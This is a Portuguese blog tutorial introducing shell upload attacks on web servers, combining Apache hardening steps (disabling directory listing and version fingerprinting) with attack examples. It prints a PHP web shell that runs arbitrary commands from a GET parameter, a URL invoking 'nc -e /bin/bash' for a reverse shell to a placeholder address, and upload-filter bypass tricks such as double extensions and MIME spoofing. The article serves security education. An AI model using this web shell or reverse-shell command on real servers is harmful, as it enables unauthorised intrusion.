Shell Upload — Uma introdução

Roberto Oliveira
6 min readApr 19, 2023

--

Agenda:

  • Introdução
  • Desabilitar directory List
  • Desabilitar directory fingerprint

Shell Upload é uma técnica, geralmente utilizada por invasores, atacantes ou profissionais de segurança para obter acesso a um servidor através da execução de comandos enviando arquivos. Nesse tipo de ataque, os vetores são entradas de usuário que permitem fazer um upload de arquivos que não são validados ou não possuem restrições de caracteres especiais, permitindo que códigos sejam injetados, carregados e executados no servidor. Abaixo, veremos alguns exemplos básicos.

Pensando sobre shell upload

Ao encontrar uma página que permita o envio de arquivos, como uma foto em formato .png, um pentester pode subir um código malicioso e tentar usar a listagem de diretórios para localizar rapidamente o arquivo malicioso no diretório e executá-lo, o que seria mais difícil se a listagem de diretórios estivesse desativada.

Então, vamos lá… Embora a entrada que permita o envio de imagens seja um ponto a ser testado para corrigir a vulnerabilidade, a listagem de diretórios, combinada com uma busca avançada usando dorks, pode mostrar e possivelmente expor informações como usuários e senhas, que também poderiam levar a um acesso não autorizado ou a uma shell reversa de maneira mais fácil.

Acreditar que a listagem de diretórios ou buscas avançadas com dorks podem levar a uma invasão facilitada antes de qualquer busca mais avançada a torna uma etapa crucial antes de qualquer teste de vulnerabilidade, como SQL injection, XSS, etc. Portanto, antes de automatizar o processo de envio de shells, não negligencie a fase de footprinting (coleta de informações sobre o alvo na internet).

Artigo de suporte para buscas com dorks

https://www-boxpiper-com.translate.goog/posts/google-dork-list-sensitive-directories?_x_tr_sl=auto&_x_tr_tl=pt&_x_tr_hl=pt-BR&_x_tr_pto=wapp

Directory List

A função directory list permite que um usuário veja o conteúdo de um diretório em um servidor web. Por muitos motivos, essa funcionalidade gera uma vulnerabilidade na aplicação por deixar aberto ao mundo diretórios e informações do serviço operante. No entanto, quando o assunto é shell upload , o trabalho de um possível invasor é facilitado por ele conseguir identificar diretórios os quais ele consegue fazer injeção de código e executá-las em seguida. Por isso, faz necessária desabilitar essa funcionalidade.

Artigo de suporte para buscas com dorks

https://www-boxpiper-com.translate.goog/posts/google-dork-list-sensitive-directories?_x_tr_sl=auto&_x_tr_tl=pt&_x_tr_hl=pt-BR&_x_tr_pto=wapp

Para desabilitar o Directory List no servidor Apache:

nano /etc/apache2/apache2.conf

Encontre:

Options Indexes FollowSymLinks

Troque para:

Options FollowSymLinks

Reinicie o servidor Apache para aplicar as alterações:

systemctl restart apache2

Entretanto, ainda nos debatemos com o fingerprint do sistema operacional e versão que é exposto para o mundo quando é gerado um erro. Um invasor irá procurar a versão e o sistema operacional para poder

Desabilitar fingerprint do sistema operacional e versão

Para desativar o serviço e a versão, precisamos desativar as diretivas ServerTokens e ServerSignature no diretório nano /etc/apache2/conf-available

Reinicie o servidor Apache para aplicar as alterações:

systemctl restart apache2

Como dito anteriormente, a configuração de segurança do apache em limitar a listagem de diretórios e evitar que o serviço e o sistema operacional esteja disponível ao mundo são estrategias de segurança, porém não evitam um scanner que faz análise do comportamento e compara com assinaturas.

Nesse caso, a implementação de IDS/IPS e um firewall de aplicação web (WAF) pode ser uma medida eficaz para proteger o seu servidor contra ataques e detectar atividades maliciosas em tempo real. No entanto, essa parte não é escopo desse artigo.

Shell upload

Artigo de suporte

https://book.hacktricks.xyz/pentesting-web/file-upload

Em uma entrada de usuário que permita que um arquivo seja enviado para o servidor, um atacante pode criar um arquivo payload.php, por exemplo, com instruções para obter informações do servidor. Por exemplo:

Listar arquivos no diretório atual e mostrar a saída:

<?php
$output = exec('ls -l');
echo $output;
?>

Executando comandos arbitrários no servidor:

<?php 
echo shell_exec($_GET["Command"]);
?>

Neste exemplo, um atacante faria a injeção do código de execução remota, entraria no diretório do arquivo e bastaria apenas fazer uma solicitação HTTP ao diretório onde foi salvo para executá-lo.

http://site_vuln.com/diretório/payload.php?Command=nc -e /bin/bash ip port

Por esse motivo, muitos administradores de rede optam por restringir ou desabilitar o uso do netcat para evitar essa técnica de shell upload. Alternativamente, um atacante pode tentar utilizar uma shell reversa em linguagem de programação diretamente no parâmetro, disponível em sites como http://www.revsshells.com

bypass de filtro

Uma entrada de arquivo pode ser filtrada de diversas maneiras para evitar arquivos potencialmente maliciosos. Por exemplo, pode-se bloquear arquivos com extensão .php , servidor possuir um waf que faça análise do conteúdo e bloqueie, tamanho do arquivo, verificação do tipo MIME, entre muitos outros. Bypass é encontrar maneiras de passar pelo filtro.

  • Camuflagem de Extensão

Essa ténica visa alterar o nome do arquivo para um extensão mais antiga ou menos comum, como o .php5 para enganar um filtro de upload que procure por extensões mais recentes.

nano payload.php5

<?php
$output = exec('ls -l');
echo $output;
?>

Outras formas de camuflagem de extensão é utilizar uma extensão dupla: payload.jpg.php5 , payload.php5?.jpg

  • Content-Type Spoofing

Essa técnica consiste em modificar o cabeçalho para tentar passar por um filtro de segurança que analisa o conteúdo especificado (MIME).

  • Esteganografia de Imagem

A técnica esteganografia é a prática de esconder uma mensagem em textos, vídeos, imagens (meios de comunicação) que podem ser tanto públicas ou privadas. Esta arte tão antiga quanto a escrita, e consiste em passar uma mensagem para que apenas o destinatário possa ler.

Dito isso, é possível injetar código malicioso em imagens por meio de técnicas de esteganografia ou de exploração de vulnerabilidades em softwares que lidam com arquivos de imagem. Isso pode ser usado para explorar vulnerabilidades em sistemas que processam imagens.

Baixando a ferramenta:

apt install exiftool

Injetando código malicioso na imagem:

exiftool hyena.jpg

Outra forma que um atacante poderia fazer é injetar um shell reverso completo na imagem .jpg:

Problemas e soluções

Como podemos atestar, proteger-se contra um shell upload pode ser desafiador por diversos motivos, como distinguir um arquivo legítimo de um malicioso, falta de padronização que faz com que arquivos inofensivos, como imagens, possam conter códigos maliciosos, vetores de ataque são diversos, como os de formulários web, ftp e sftp, e pela complexidade, como vimos, que pode vir através de criptografia. Por isso, é necessário tomar medidas de segurança, como validar arquivos, filtrar conteúdo, limitar o tamanho do arquivo e utilizar sandboxing.

--

--

Roberto Oliveira

Pentester | Cyber Security Engineer | Ethical Hacker | Python